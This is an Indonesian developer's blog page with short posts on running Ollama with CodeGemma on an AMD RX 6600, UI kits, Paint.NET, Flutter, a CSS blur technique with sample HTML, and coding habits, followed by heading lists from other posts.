Untuk spesifikasi penggunaan, menjalankan model 7B dibutuhkan setidaknya 8GB RAM tersedia, 16GB untuk menjalankan model 13B, dan 32GB untuk model 33B. Olla GitHub

Download

AMD HIP SDK untuk Windows

Per tanggal artikel ini dibuat: ollama-for-amd tidak mendukung HIP SDK 6.1.2. Dukungan akan ditambahkan jika ada kecepatan menguntungkan yang signifikan.
ROCmLibs
ollama-for-amd

Pembaruan tidak dilakukan lewat program, melainkan lewat repositori secara manual.
CodeGemma

Download menggunakan CLI Ollama
Continue untuk VSCode

Instalasi

Instal HIP SDK

Biarkan checkbox sesuai bawaan dan lanjutkan instalasi.
Patch rocBLAS dengan ROCmLibs
- Buka folder C:\Program Files\AMD\ROCm\5.7\bin
- Backup file rocblas.dll dan folder library yang ada di dalam folder rocblas
- Ganti dengan rocblas.dll dan folder library milik ROCmLibs
Install ollama-for-amd
Pasang environtment path Ollama di Windows

Edit variable Path, buat baru untuk path Ollama (Contoh: C:\Users\Budi\AppData\Local\Programs\Ollama)
Jalankan Ollama menggunakan CLI

ollama serve
ollama run codegemma
Instal dan setup ekstensi Continue di VSCode
- Buka sidebar Continue di vertical tab VSCode
- Buka pengaturan, pastikan ada provider ollama dengan model yang sudah dijalankan

"models": [
  ...
  {
    "title": "CodeGemma",
    "provider": "ollama",
    "model": "codegemma"
  }
]

time=2024-08-26T06:59:04.379+07:00 level=INFO source=types.go:105 msg="inference compute" id=0 library=rocm compute=gfx1032 driver=5.7 name="AMD Radeon RX 6600"

Jika CLI Ollama menampilkan teks seperti di atas artinya RX 6600 sudah bisa menjalankan Ollama secara unofficial.

Saya Harus Memiliki UI Kit Sendiri

2024-08-24T17:00:00Z

Apa itu UI Kit

UI Kit adalah sekumpulan design komponen, yang sudah termasuk font, icon, asset lain yang diperlukan, dan dokumentasi penggunaan.

Kenapa UI Kit

UI Kit membuat implementasi design satu dan yang lain menjadi konsisten. Menggunakan komponen yang sama secara berulang atau menggunakan komponen modular untuk dipasangkan dengan komponen lain, memiliki UI Kit tentu sangat membantu.

Kenapa Membuat UI Kit Sendiri

Setiap orang memiliki selera yang berbeda, sama halnya designer yang memiliki value tersendiri dalam mengerjakan design.
Sebagai contoh, jika dua orang designer mengerjakan design pada kasus yang sama, tentu hasil dan cara mengerjakannya tidak akan sama.
Perbedaan cara pengerjaan tidak menentukan hasil yang lebih baik atau buruk, masing-masing designer memiliki alasan tersendiri.
Mengapa designer A membuat komponen A seperti ini, mengapa designer B membuat komponen A seperti itu, mengapa designer A mengerjakan dengan cara seperti ini, sedangkan designer B mengerjakan dengan cara seperti itu. Alasan tersebut adalah salah satu alasan designer memiliki value.

Pendapat Saya Soal “WYSIWYG Email” yang Saya Buat

2024-08-23T17:00:00Z

Saya teringat sekitar tahun 2015, banyak blog lokal maupun mancanegara yang membahas kalau email marketing sudah tidak lagi relevan, alasannya karena pelanggan akan terganggu menjadikan ia tidak ingin untuk membuka email.

Faktanya penggunaan email di bidang marketing masih populer digunakan hingga artikel ini dibuat, artinya tingkat efektifnya masih dibutuhkan.

Beberapa waktu lalu saya membuat aplikasi untuk memudahkan user membuat email marketing sendiri, dengan desain yang dapat dimodifikasi, tanpa koding, dengan tampilan seminimal mungkin untuk proses penggunaan yang cepat.

Aplikasi ini ditujukan untuk seorang marketing yang sudah tahu apa yang harus dilakukan dalam membuat sebuah email, misalnya judul, deskripsi, beberapa paragraf penting soal produk, juga daftar kontak.

Saat pengembangan, saya melakukan uji coba yang menghabiskan waktu sekitar 5 menit untuk membuat sebuah email. Termasuk judul, deskripsi, step penggunaan produk, daftar distribusi aplikasi, daftar kontak, dan beberapa tautan penting, yang semua warnanya sudah disesuaikan.

Asumsi saya adalah untuk user yang sudah tahu cara menggunakan aplikasi ini, butuh waktu 5-10 menit untuk membuat email marketing sendiri dengan syarat sudah memiliki bahan untuk ditulis. Jangka waktu yang sama juga dibutuhkan untuk menyalin kode HTML ke aplikasi email seperti Thunderbird, lalu mengirimkannya kepada para pelanggan.

Sampai saat ini saya bersikeras bahwa aplikasi ini berpotensi untuk meminimalisir waktu (memudahkan) pekerjaan.

Alasan Kenapa Paint.NET Boleh Menua di Windows Saya

2024-08-22T17:00:00Z

Paint.NET adalah software pengolah gambar raster di Windows yang rilis pada tahun 2004.

Kesan Pertama
Apa yang Saya Butuhkan
Kelebihan
Perubahan paling diingat
Belum ada penggantinya

Kesan Pertama

Paint.NET yang sekarang pada artikel ini dibuat, masih sama seperti pertama saya menggunakannya pada tahun 2012. Kebutuhannya berawal dari hobi saya membuat aplikasi Windows.

Apa yang Saya Butuhkan

Kebutuhan saya akan image editing hanyalah menyunting gambar dan membuat aset aplikasi. Secara teknis, berikut adalah fitur yang selalu saya butuhkan dari Paint.NET.


Select/Wand	Eraser	Resize
Move	Pencil/Brush	Layers
Bucket	Color Picker	Colors
Gradient	Crop	Tabs

Kelebihan

Dalam garis besar, kelebihannya adalah Simpel, Cepat, dan Powerful.

Perubahan paling diingat

Saya ingat pada saat Paint.NET tidak lagi support di arsitektur 32-bit di versi 4.3.xx, yang membuat saya tinggal di versi 3.4.xx. Breaking changes tersebut memiliki kelebihan unlimited undo yang belum ada di versi sebelumnya.

Belum ada penggantinya

Atas dasar kebutuhan saya yang minimal, rasanya sulit mencari pengganti Paint.NET. Semangat untuk beralih ke software open source, belum membuat saya semangat untuk mempelajari software pengganti yang dirasa overkill.

Semua ini adalah alasan kenapa saya memperbolehkan Paint.NET di mesin kerja saya, mengapa terus saya instal di mesin yang berbeda, faktanya saya menua bersamanya.

Enaknya Menggunakan Flutter

2024-08-20T17:00:00Z

Kenapa Flutter?

Teknologi yang masih terbilang baru
Ekositem yang matang
Menggunakan bahasa Dart yang type safe
Dapat deploy multi-platform
Banyak package yang tersedia

Teknologi yang masih terbilang baru

Flutter pertama kali rilis di tahun 2017, dimulai saat itu update secara publik diperbarui secara berkala, saat artikel ini dibuat Flutter sudah di versi 3.24.

Ekositem yang matang

Semenjak rilis flutter sudah memiliki ekosistem yang matang, yang saya maksud adalah kemudahan untuk menerapkan fitur yang ingin kita buat.

Menggunakan bahasa Dart yang type safe

Menulis di bahasa yang type safety meningkatkan kenyamanan saat development, kita bisa tahu ada error apa pada aplikasi sebelum di-debug dan di-build. Secara relatif fitur ini dapat menghemat waktu.

Dapat deploy multi-platform

Dalam sekali waktu development, kita bisa build ke platform yang berbeda seperti:

Mobile (Android, iOS)
Web
dan Desktop (Windows, Mac, Linux)

Banyak package yang tersedia

Kita dapat menghemat waktu karena biasanya terdapat package yang tersedia untuk membantu kita untuk menerapkan sebagian ataupun penuh fitur yang ingin kita buat.

Apa yang Saya Pelajari dari Aplikasi “WhatIf BMKG Down”

2024-08-15T17:00:00Z

Pada tanggal 15 Agustus 2024, kemarin malam, saya membuat aplikasi bernama “WhatIf BMKG Down”.

Apa maksudnya?

Berita soal gempa megathrust yang seliweran di media sosial, memicu saya untuk membuat ini. Ide yang saya dapat langsung saya tuangkan ke nama aplikasi.

Ada beberapa alasan kenapa saya membuat aplikasi ini, yaitu:

Aplikasi atau website BMKG seringkali down saat diakses.
Bukan ide yang sulit diterapkan dan dapat bermanfaat saat diperlukan.
Resource, seperti API dan package yang mendukung untuk diterapkan.

Kapan ini dibutuhkan?

Dari hasil penelusuran singkat, saya menemukan berita terdahulu dibuat oleh CNBC Indonesia lewat kanal YouTube-nya yaitu 3 hari lalu dari artikel ini dibuat.

Siapa sasarannya?

Dibuat untuk penduduk Indonesia, itulah mengapa saya hanya mengintegrasi BMKG dan menyetel param API terbuka milik USGS ke kordinat Indonesia (Saya dapatkan dari salah satu jawaban dari pertanyaan di website Quora), walaupun begitu hasil dari USGS dapat menampilkan data gempa negara tetangga.

Dapat diakses di mana?

Aplikasi ini saya buat menggunakan framework Flutter, walaupun saya debug lewat Chrome, namun hanya saya build khusus untuk Android. Tautan unduh lewat Google Drive sudah saya masukkan ke repositori.

Bagaimana saya membuatnya?

Membuat aplikasi ini adalah pengalaman yang menyenangkan karena selama development saya dokumentasi lewat live streaming YouTube dengan teman yang dapat langsung berinteraksi kepada saya.

Secara teknis saya mendapati kesulitan di luar dari gambaran, seperti package flutter_map leaflet yang tidak muncul karena tidak menggunakan option url_template, tipe model int dan double yang seharusnya num agar dinamis. Juga saya masih harus belajar cara theming flutter saat tidak menggunakan Material 3.

Menghindari Style Inherit dari Parent ke Children dengan Pseudo

2024-08-13T17:00:00Z

Masalah

Trend design yang beragam seringkali memunculkan perdebatan antara Designer dan Front-end tentang seimbangnya hasil design dengan kerumitan proses.

Designer seringkali menghasilkan design tanpa memandang penerapan teknis.
Front-end seringkali memandang rumit proses sehingga tampilan terasa tidak sebanding.

Jalan tengah dari keduanya harus disepakati agar design dapat diterapkan sehingga menjadi website yang fungsional.

Kasus

Salah satu kasusnya adalah penerapan background blur pada suatu komponen di website.

Gambar

Gambar sebelah kiri adalah contoh jika background blur langsung diterapkan di parent komponen.
Gambar sebelah kanan adalah contoh jika menggunakan pseudo dari parent untuk menerapkan blur.

Kode

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
    <style>
      body {
        background-color: #fff;
        margin: 0;
        color: #fff;
        font-family: sans-serif;
      }
      .list {
        position: relative;
      }
      div {
        width: 600px;
        height: 100dvh;
        margin: 0 auto;
        display: flex;
        align-items: center;
      }
      .ulist {
        list-style: none;
        width: 300px;
        height: calc(50dvh - (48px * 2));
        margin: 0 auto;
        padding: 48px 36px;
        display: flex;
        flex-direction: column;
        justify-content: center;
        row-gap: 24px;
        font-size: 20px;
        font-weight: bold;
        line-height: 28px;
        letter-spacing: 2px;
        text-shadow: 1px 1px rgba(0, 0, 0, 0.75);
        overflow: hidden;
      }
      .ulist1 {
        position: relative;
      }
      .ulist1::before {
        content: '';
        background-image: url('./img.webp');
        background-position: center;
        background-repeat: no-repeat;
        background-size: cover;
        width: calc(100% + 8px);
        height: calc(100% + 8px);
        position: absolute;
        top: -4px;
        left: -4px;
        filter: blur(4px) opacity(0.75);
      }
      .ulist2 {
        background-image: url('./img.webp');
        background-position: -4px -4px;
        background-repeat: no-repeat;
        background-size: cover;
        filter: blur(4px) opacity(0.75);
      }
    </style>
  </head>
  <body>
    <div>
      <ul class="ulist ulist2">
        <li class="list">Home</li>
        <li class="list">About</li>
        <li class="list">Contact</li>
        <li class="list">Privacy Policy</li>
        <li class="list">Terms of Service</li>
      </ul>
      <ul class="ulist ulist1">
        <li class="list">Home</li>
        <li class="list">About</li>
        <li class="list">Contact</li>
        <li class="list">Privacy Policy</li>
        <li class="list">Terms of Service</li>
      </ul>
    </div>
  </body>
</html>

Penjelasan

Styling blur yang dimiliki parent akan turut diterapkan kepada semua children yang ada. Di sisi lain pseudo, adalah children dari parent yang tidak dapat menurunkan styling apapun kepada sibling.

Saya Butuh untuk Segera Mencatat Task

2024-08-12T17:00:00Z

Dalam bekerja, task baru datang hampir setiap hari yang mana task sebelumnya masih ada. Menggunakan task management seperti Trello bahkan text editor seperti notepad pun akan sangat membantu pada saat itu.

Perasaan seperti canggung untuk bertanya adalah konsekuensi jika saya tidak mencatat sehingga lupa dengan task apa yang harus saya kerjakan. Tentu bukan hanya soal perasaan pribadi, jika dibiarkan hal ini akan berdampak buruk pada performa pekerjaan saya.

Bagaimana agar segera mencatat task baru?
Saya butuh yang ringkas, cepat, to-the-point.

Trello adalah project management populer yang memiliki opsi gratis yang terbatas, saya sudah mencapai limit board di akun saya, jadi ini bukan lagi pilihan.

Ada banyak proyek Kanban open-source, tapi perlu waktu untuk membangunnya dan membiasakan diri menggunakannya. Tampilannya mungkin mirip seperti Trello, tapi kenyamanannya tentu jauh berbeda.

Bagaimana dengan Google Sheet? Saya biasa menggunakannya, namun untuk hal yang berbeda seperti kalkulasi pengeluaran. Saya ingin yang lebih ringkas dari ini.

Lucunya Notepad di Windows 11 adalah yang saya butuhkan, fitur tabulasi dan simpan otomatis yang tidak ada di versi sebelumnya, termasuk Windows 10, yang sedang saya gunakan, membuat pencarian lawan dari pemenang ini berlanjut.

Penamaan Variable dalam Pengembangan Project

2024-08-11T17:00:00Z

Membangun suatu program menggunakan bahasa pemrograman bukanlah hal yang mudah, apalagi jika cakupan program menjadi lebih luas seiring kebutuhan.

Memberikan nama pada variable tanpa mendeskripsikan tujuan variable tersebut dengan alasan waktu tentu bukan keputusan yang bijak.

Bukan hanya soal kamu.

Mungkin kalian pernah mendapati bahwa program yang sering kalian gunakan ternyata dibangun hanya dengan satu orang di belakangnya.

Membangun aplikasi sendirian seringkali mengabaikan penamaan yang sesuai, dengan alasan tidak akan ada yang keberatan. Padahal bug seringkali didapati dalam masa pengembangan, mengabaikan penamaan yang deskriptif tentu membuang waktu dalam debugging.

Developer bukan ahli mengingat.

Dalam satu hari produktif, developer dapat menulis banyak sekali baris kode. Artinya banyak juga variable atau function yang dibuat/bersinggungan pada saat menulis. Jika terus terjadi, bukan hal yang mengagetkan jika iapun harus membaca berulang-ulang untuk tahu apa fungsi sebenarnya.

Asyiknya Game Development 2D Menggunakan HTML

2024-08-11T17:00:00Z

Kenapa 2D?
Umumnya assets dalam Game Development sangat dibutuhkan. Membuat assets 2D secara umum tentu lebih mudah dibanding 3D, begitu juga kurva pembelajarannya. Berikut adalah perangkat lunak pengolah gambar untuk membuat assets 2D:

Gambar Raster

Adobe Photoshop (Berbayar, OS: Windows, MacOS)
GIMP (Open-source, OS: Windows, MacOS, Linux)
Paint.NET (Freeware, OS: Windows) Gambar Vector
Adobe Illustrator (Berbayar, OS: Windows, MacOS)
Inkscape (Open-source, OS: Windows, MacOS, Linux)

Saya pribadi menggunakan Paint.NET yang menurut saya paling mudah dan cepat digunakan dari semua yang saya sebutkan di atas.

Kenapa HTML?
Mengembangkan UI menggunakan HTML adalah pilihan yang menarik. Kurva pembelajaran yang cepat, skalabilitas yang tidak terbatas dengan JavaScript, dan variasi property CSS yang terus diperbarui oleh komunitas.

Kenapa tidak Game Engine?
Game engine hanya dikhususkan untuk membuat game, developer yang juga fokus pada web development tidak perlu mempelajari suatu game engine jika sudah terbiasa menggunakan HTML.

Hal yang Saya Lakukan Setiap Kali Membuat Project

2024-08-09T17:00:00Z

Saya adalah orang yang ingin terus melakukan sesuatu, yang walaupun saya tahu hasilnya tidak dapat dinikmati atau bahkan tidak akan berhasil. Menerapkan ide yang ada di kepala adalah sesuatu yang tak ternilai, ini adalah cara saya untuk membuat diri saya bahagia.

Hal pertama yang saya lakukan adalah untuk segera mencatatnya, yang paling sering adalah menggunakan Handphone yang selalu ada di sekitar sebagai catatan 8W1H (Ada tiga Why, makanya bukan 5W1H).

Apa yang ingin saya buat?
Siapa yang membutuhkan ini?
Di mana ia (membutuhkan/dapat mengakses) ini?
Kapan ia membutuhkan ini?
Mengapa ini perlu saya buat?
Mengapa ini perlu saya buat (lagi)?
Mengapa ini perlu saya buat (lagi)?
Bagaimana cara saya membuat ini?

Dari pertanyaan-pertanyaan tersebut, saya berempati untuk mengimajinasikan persona-persona yang membutuhkan proyek ini, setidaknya saya dapat 3.

Kebutuhan dan kemudahan akses adalah masalah yang penting, saya harus memilih dengan tepat karena ini menentukan waktu pengembangan proyek. Contohnya adalah fitur dan detail seperti accessibilty dan animasi.

Saya sebisa mungkin menghalau ide untuk membuat proyek yang hanya dibutuhkan dalam beberapa waktu saja, ini siasat saya menghindari hilangnya semangat karena anggapan bahwa ini sudah tidak relevan lagi.

Kenapa, kenapa dan kenapa saya perlu membuat ini?
Ini adalah ilmu yang saya dapatkan dari CEO tempat saya pernah bekerja. Terkadang kita memikirkan hal yang sebenarnya tidak perlu namun masuk akal untuk dilakukan. Misalnya, prakarsa menambahkan fitur atau bahkan saat memulai proyek. Trik ini berguna untuk menghindari cost yang akan dikeluarkan, umumnya waktu pengembangan.

Pertanyaan terakhir adalah bagaimana. Dari sekian banyak solusi digital saat ini, saya terus beranggapan bahwa menggunakan apapun yang membuat saya senang, akan membuat saya bersemangat untuk mengerjakannya secara konsisten.

Haris Wahidin

Tidak Semua Bisa Kamu Simpan di localStorage, File[] Maksud Saya

Best Practice-nya Zustand Persist di Next.js Sesuai Dokumentasi

Konfigurasi tsconfig.json#

Instalasi Zustand#

Konfigurasi Store#

Konfigurasi Provider#

Penggunaan Provider#

Konfigurasi Page#

Setelah Lama Penasaran, Saya Mencoba Menggunakan Zustand

Belajar Bahasa Mandarin: Pelafalan Ejaan Pinyin

Huruf Konsonan#

Pelafalan Huruf Konsonan#

Huruf Vokal#

Single Vokal#

Basic Vokal#

Vokal Lanjutan 1#

Vokal Lanjutan 2#

Script Skenario yang Dibuat ChatGPT saat Saya Bosan

Implementasi Light dan Dark Mode di Web itu Mudah

Pendahuluan#

Masalah#

Solusi#

Daftar Pustaka:#

Implementasi Timer yang Bisa Pause dengan PausableTimer di Flutter

Timer tidak memiliki pause()#

PausableTimer#

Cara Mapping dengan Index di Dart

Saya Rangkum Update Flutter 3.35: Hot Reload di Web!

Pendahuluan#

Web#

Hot reload di web aktif secara default#

Wasm dengan dry run#

Framework#

Peningkatan accessibility#

Material dan Cupertino#

Lainnya dari framework#

Android#

Proteksi konten sensitif#

Engine#

General update di engine#

DevTools dan IDE#

Server MCP Dart dan Flutter experimental tersedia di channel stable#

Widget Previews (Experimental)#

Analysis Server#

Breaking changes dan deprecation#

Cara Membuat Text Border/Outline di Flutter yang Simpel

3 Kelebihan dan Kekurangan Menggunakan CSS Variable

TL;DR#

Kelebihan#

Semakin banyak kode, semakin terstruktur#

Mengemat waktu development#

Redesign bukan lagi masalah#

Kekurangan#

Penamaan variable perlu waktu#

Value menjadi lebih panjang#

Memakan waktu maintenance#

Cara Instal macOS Catalina di Windows dengan VMware

Prasyarat#

Persyaratan#

Instalasi macOS Unlocker#

Buat Virtual Machine#

Edit Virtual Machine#

Instalasi macOS#

Instalasi VMware Tools#

Masalah#

This virtual machine requires AVX2 but AVX is not present. This virtual machine cannot be powered on#

Mouse dan/atau keyboard tidak terhubung saat instalasi#

Rekapan Tulisan Saya Selama Pekan Ini, 9-15 Sep 24

Senin, 9 September 2024#

Rabu, 11 September 2024#

Kamis, 12 September 2024#

Jumat, 13 September 2024#

Minggu, 15 September 2024#

Membuat File .VMDK Sendiri untuk Instalasi macOS di VMware

Prasyarat#

Persyaratan#

Instalasi gibMacOS#

Download Catalina#

Instalasi QEMU#

Konfigurasi tsconfig.json

Instalasi Zustand

Konfigurasi Store

Konfigurasi Provider

Penggunaan Provider

Konfigurasi Page

Huruf Konsonan

Pelafalan Huruf Konsonan

Huruf Vokal

Single Vokal

Basic Vokal

Vokal Lanjutan 1

Vokal Lanjutan 2

Pendahuluan

Masalah

Solusi

Daftar Pustaka:

Timer tidak memiliki pause()

PausableTimer

Pendahuluan

Web

Hot reload di web aktif secara default

Wasm dengan dry run

Framework

Peningkatan accessibility

Material dan Cupertino

Lainnya dari framework

Android

Proteksi konten sensitif

Engine

General update di engine

DevTools dan IDE

Server MCP Dart dan Flutter experimental tersedia di channel stable

Widget Previews (Experimental)

Analysis Server

Breaking changes dan deprecation

TL;DR

Kelebihan

Semakin banyak kode, semakin terstruktur

Mengemat waktu development

Redesign bukan lagi masalah

Kekurangan

Penamaan variable perlu waktu

Value menjadi lebih panjang

Memakan waktu maintenance

Prasyarat

Persyaratan

Instalasi macOS Unlocker

Buat Virtual Machine

Edit Virtual Machine

Instalasi macOS

Instalasi VMware Tools

Masalah

This virtual machine requires AVX2 but AVX is not present. This virtual machine cannot be powered on

Mouse dan/atau keyboard tidak terhubung saat instalasi

Senin, 9 September 2024

Rabu, 11 September 2024

Kamis, 12 September 2024

Jumat, 13 September 2024

Minggu, 15 September 2024

Prasyarat

Persyaratan

Instalasi gibMacOS

Download Catalina

Instalasi QEMU

Pasang perintah QEMU ke Env. Windows

BaseSystem.dmg to VMDK

Disclaimer

Download

Metasploit

Payload

Sign APK

Monitoring

Peretasan

Pencegahan

TL;DR

Sebagai Portfolio

Untuk Berkomunitas

Kenapa GitHub?

Google Fonts